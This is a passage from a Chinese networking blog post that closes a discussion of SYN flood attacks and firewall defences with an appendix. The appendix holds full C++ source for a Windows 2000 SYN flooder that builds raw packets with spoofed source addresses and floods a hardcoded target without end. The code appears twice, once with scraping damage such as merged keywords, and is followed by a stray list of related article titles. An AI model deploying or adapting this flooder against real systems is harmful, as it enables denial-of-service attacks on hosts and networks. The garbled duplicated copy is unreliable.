[客户机]< ======|======= >[服务器]

TCP连接

这种结构吸取了上两种防火墙的优点,既能完全控制所有的SYN报文,又不需要对所有的TCP数据报文进行代理,是一种两全其美的方法。

近来,国外和国内的一些防火墙厂商开始研究带宽控制技术,如果能真正做到严格控制、分配带宽,就能很大程度上防御绝大多数的拒绝服务攻击,我们还是拭目以待吧。

附录:Win2000下的SYN Flood程序

改编自Linux下Zakath编写的SYN Flooder

编译环境:VC++6.0,编译时需要包含ws2_32.lib

C++
//

// //

// SYN Flooder For Win2K by Shotgun //

// //

// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath //

// THANX Lion Hook FOR PROGRAM OPTIMIZATION //

// //

// Released: [2001.4] //

// Author: [Shotgun] //

// Homepage: //

// [[url]http://IT.Xici.Net[/url]] //

// [[url]http://WWW.Patching.Net[/url]] //

// //

//

#include <winsock2.h>

#include <Ws2tcpip.h>

#include <stdio.h>

#include <stdlib.h>

#define SEQ 0x28376839

#define SYN_DEST_IP “192.168.15.250”//被攻击的IP

#define FAKE_IP “10.168.150.1” //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段

#define STATUS_FAILED 0xFFFF //错误返回值

typedef struct _iphdr //定义IP首部

{

unsigned char h_verlen; //4位首部长度,4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位

unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

}IP_HEADER;

struct //定义TCP伪首部

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz;

char ptcl; //协议类型

unsigned short tcpl; //TCP长度

}psd_header;

typedef struct _tcphdr //定义TCP首部

{

USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres; //4位首部长度/6位保留字

unsigned char th_flag; //6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量

}TCP_HEADER;

//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) {

cksum += (UCHAR)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

// SynFlood主函数

int main()

{

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

int TimeOut=2000,SendSEQ=0;

char SendBuf[128]={0};

char RecvBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

TCP_HEADER tcp_header;

//初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

fprintf(stderr,“WSAStartup failed: %d\n”,ErrorCode);

ExitProcess(STATUS_FAILED);

}

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

if (SockRaw==INVALID_SOCKET){

fprintf(stderr,“WSASocket() failed: %d\n”,WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

If (ErrorCode==SOCKET_ERROR) printf(“Set IP_HDRINCL Error!\n”);

__try{

//设置发送超时

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR){

fprintf(stderr,“Failed to set send TimeOut: %d\n”,WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);

FakeIpNet=inet_addr(FAKE_IP);

FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位IP版本号,低四位首部长度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)

ip_header.ident=1; //16位标识

ip_header.frag_and_flags=0; //3位标志位

ip_header.ttl=128; //8位生存时间TTL

ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)

ip_header.checksum=0; //16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址

ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址

//填充TCP首部

tcp_header.th_sport=htons(7000); //源端口号

tcp_header.th_dport=htons(8080); //目的端口号

tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号

tcp_header.th_ack=0; //ACK序列号置为0

tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位

tcp_header.th_flag=2; //SYN 标志

tcp_header.th_win=htons(16384); //窗口大小

tcp_header.th_urp=0; //偏移

tcp_header.th_sum=0; //校验和

//填充TCP伪首部(用于计算校验和,并不真正发送)

psd_header.saddr=ip_header.sourceIP; //源地址

psd_header.daddr=ip_header.destIP; //目的地址

psd_header.mbz=0;

psd_header.ptcl=IPPROTO_TCP; //协议类型

psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度

while(1) {

//每发送10,240个报文输出一个标示符

printf(".");

for(counter=0;counter<10240;counter++){

if(SendSEQ++==65536) SendSEQ=1; //序列号循环

//更改IP首部

ip_header.checksum=0; //16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址

//更改TCP首部

tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号

tcp_header.th_sum=0; //校验和

//更改TCP Pseudo Header

psd_header.saddr=ip_header.sourceIP;

//计算TCP校验和,计算校验和时需要包括TCP pseudo header

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

//计算IP校验和

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

datasize=sizeof(ip_header)+sizeof(tcp_header);

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

//填充发送缓冲区

memcpy(SendBuf,&ip_header,sizeof(ip_header));

//发送TCP报文

ErrorCode=sendto(SockRaw,

SendBuf,

datasize,

0,

(struct sockaddr*) &DestAddr,

sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());

}//End of for

}//End of While

}//End of try

__finally {

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

WSACleanup();

}

return 0;

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353

//
// //
// SYN Flooder For Win2K by Shotgun //
// //
// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath //
// THANX Lion Hook FOR PROGRAM OPTIMIZATION //
// //
// Released: [2001.4] //
// Author: [Shotgun] //
// Homepage: //
// [[url]http://IT.Xici.Net[/url]] //
// [[url]http://WWW.Patching.Net[/url]] //
// //
//
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define SYN_DEST_IP "192.168.15.250"//被攻击的IP
#define FAKE_IP "10.168.150.1" //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段
#define STATUS_FAILED 0xFFFF //错误返回值
typedefstruct _iphdr//定义IP首部
{
unsignedchar h_verlen;//4位首部长度,4位IP版本号
unsignedchar tos;//8位服务类型TOS
unsignedshort total_len;//16位总长度(字节)
unsignedshort ident;//16位标识
unsignedshort frag_and_flags;//3位标志位
unsignedchar ttl;//8位生存时间 TTL
unsignedchar proto;//8位协议 (TCP, UDP 或其他)
unsignedshort checksum;//16位IP首部校验和
unsignedint sourceIP;//32位源IP地址
unsignedint destIP;//32位目的IP地址
}IP_HEADER;
struct//定义TCP伪首部
{
unsignedlong saddr;//源地址
unsignedlong daddr;//目的地址
charmbz;
charptcl; //协议类型
unsignedshort tcpl;//TCP长度
}psd_header;
typedefstruct _tcphdr//定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsignedint th_seq;//32位序列号
unsignedint th_ack;//32位确认号
unsignedchar th_lenres;//4位首部长度/6位保留字
unsignedchar th_flag;//6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT*buffer,int size)
{
unsignedlong cksum=0;
while(size>1){
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) {
cksum+= *(UCHAR*)buffer;
}
cksum= (cksum>> 16)+ (cksum& 0xffff);
cksum+= (cksum>>16);
return(USHORT)(~cksum);
}
// SynFlood主函数
intmain()
{
intdatasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
intTimeOut=2000,SendSEQ=0;
charSendBuf[128]={0};
charRecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
structsockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADERtcp_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
if(SockRaw==INVALID_SOCKET){
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(int));
If(ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=(4<<4| sizeof(ip_header)/sizeof(unsignedlong));
//高四位IP版本号,低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));//16位总长度(字节)
ip_header.ident=1;//16位标识
ip_header.frag_and_flags=0;//3位标志位
ip_header.ttl=128;//8位生存时间TTL
ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…)
ip_header.checksum=0;//16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP);//32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(7000);//源端口号
tcp_header.th_dport=htons(8080);//目的端口号
tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
tcp_header.th_ack=0;//ACK序列号置为0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位
tcp_header.th_flag=2;//SYN 标志
tcp_header.th_win=htons(16384);//窗口大小
tcp_header.th_urp=0;//偏移
tcp_header.th_sum=0;//校验和
//填充TCP伪首部(用于计算校验和,并不真正发送)
psd_header.saddr=ip_header.sourceIP;//源地址
psd_header.daddr=ip_header.destIP;//目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;//协议类型
psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度
while(1){
//每发送10,240个报文输出一个标示符
printf(".");
for(counter=0;counter<10240;counter++){
if(SendSEQ++==65536)SendSEQ=1;//序列号循环
//更改IP首部
ip_header.checksum=0;//16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
//更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
tcp_header.th_sum=0;//校验和
//更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;
//计算TCP校验和,计算校验和时需要包括TCP pseudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
//计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT*)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//发送TCP报文
ErrorCode=sendto(SockRaw,
SendBuf,
datasize,
0,
(structsockaddr*)&DestAddr,
sizeof(DestAddr));
if(ErrorCode==SOCKET_ERROR)printf("\nSend Error:%d\n",GetLastError());
}//End of for
}//End of While
}//End of try
__finally{
if(SockRaw != INVALID_SOCKET)closesocket(SockRaw);
WSACleanup();
}
return0;
}

【网络编程】SYN Flood (SYN洪水攻击)原理及防阻相关推荐

  1. 【网络篇】TCP SYN Flood Attack(洪水攻击)

    文章目录 SYN Flood Attack是什么? SYN Flood Attack的阶段 SYN Flood Attack原理 SYN Flood Attack的防御措施 具体防御手段:syn co ...

  2. 服务器SYN洪水攻击原理和防御办法-SynAttackProtect保护机制

    服务器SYN洪水攻击原理和防御办法-SynAttackProtect保护机制 一.设置SynAttackProtect键值步骤 二.防止SYN洪水攻击修改项说明 三.特别注意 SYN洪水攻击是利用客户 ...

  3. 洪水攻击程序c语言,洪水攻击原理及代码实现全攻略(附源代码)

    下载本文示例代码 推荐:应用程序安全的魔道之争 声明:本文所提供的资料仅仅限于技术交流和学习,请不要用于其他非法目的,维护网络安全是我们的共同责任. 下载本文源代码和例程 一. 什么是洪水攻击 洪水之 ...

  4. 详情讲述Linux网络编程关注的问题丨epoll原理丨reactor模型丨三次挥手丨四次握手丨多线程丨单线程丨C/C++Linux丨C++后端开发

    90分钟搞懂linux网络编程关注的问题 1. 三次挥手,四次握手 2. epoll实现原理剖析 3. reactor模型封装 单线程.多线程以及多进程 视频讲解如下,点击观看: 详情讲述Linux网 ...

  5. Linux多线程网络编程要义丨epoll与reactor原理

    linux多线程网络编程要义 1. epoll原理剖析 2. 单reactor原理以及应用 3. 多reactor原理以及应用 [Linux服务器系列]Linux多线程网络编程要义丨epoll与rea ...

  6. Android网络编程(一)HTTP协议原理

    相关文章 Android网络编程(一)HTTP协议原理 Android网络编程(二)HttpClient与HttpURLConnection Android网络编程(三)Volley用法全解析 And ...

  7. ICMP flood(ICMP洪水攻击)

    最近在学习DDos相关知识,参考一些知识,做了摘要,供自己参考. 参考:http://blog.csdn.net/xlf13872135090/article/details/8059538 什么是I ...

  8. 网络编程——原始套接字实现原理

    目录 1. 基础知识 1.1.概述 1.2.链路层原始套接字 1.3.网络层原始套接字 2.原始套接字的实现 2.1  原始套接字报文收发流程 2.2链路层原始套接字的实现 2.2.1  套接字创建 ...

  9. 防火墙如何阻止SYN Flood攻击?

    防火墙 阻止 SYN Flood攻击 是如何实现的?通俗易懂的讲解 了解: 是典型的Dos(拒绝服务)攻击. SYN-----Synchronize(同步)的缩写,这里可理解为 建立连接请求:Floo ...

最新文章

  1. python终结一个循环额_Python语言入门之内存管理方式和垃圾回收算法解析
  2. leetcode37. 解数独
  3. htc one m7 linux驱动,HTC One M7官方RUU固件包(可救砖)
  4. [html] 如何让table的边框双线变单线?
  5. 用ExtJs+Linq+Wcf打造简单grid
  6. 库克协议CTO:加密货币有望成为法定货币替代金融工具
  7. sdi 采集卡---环视频拼接直播方案
  8. Python:OpenCV的默认优化
  9. win10 uwp 渲染原理 DirectComposition 渲染
  10. 快速搭建接口自动化平台
  11. Programmer Study Guide-游戏程序员指南
  12. SqlCommand.ExecuteNonQuery()的返回值问题
  13. 圈复杂度详解以及解决圈复杂度常用的方法
  14. 微信小程序开发教程:wxml
  15. 一个支付流程要考虑到哪些测试点?
  16. Matlab/SimulinkAutosar应用开发
  17. php编辑psd图层,psd文件怎么编辑
  18. yyyyyyyyyyyyyyy
  19. Docker容器内无法解析域名:Temporary failure in name resolution
  20. 根据两个位置的经纬度,来计算两地的距离(单位为KM)

热门文章

  1. 开源Vue表单设计器
  2. KM算法解决二分图最大权分配问题
  3. LTE随机接入RACH流程preamble发送
  4. Mybatis源码学习-动态代理
  5. 区块链怎样运用到社交领域?
  6. Java面向对象三大特性(封装继承多态)解释及案例
  7. c语言超声波壁障源码,超声波避障小车源程序【精】
  8. software-plug-ins
  9. MacBook Pro完整卸载及安装激活VMware Fusion13.0.0教程
  10. UltraEdit软件破解方法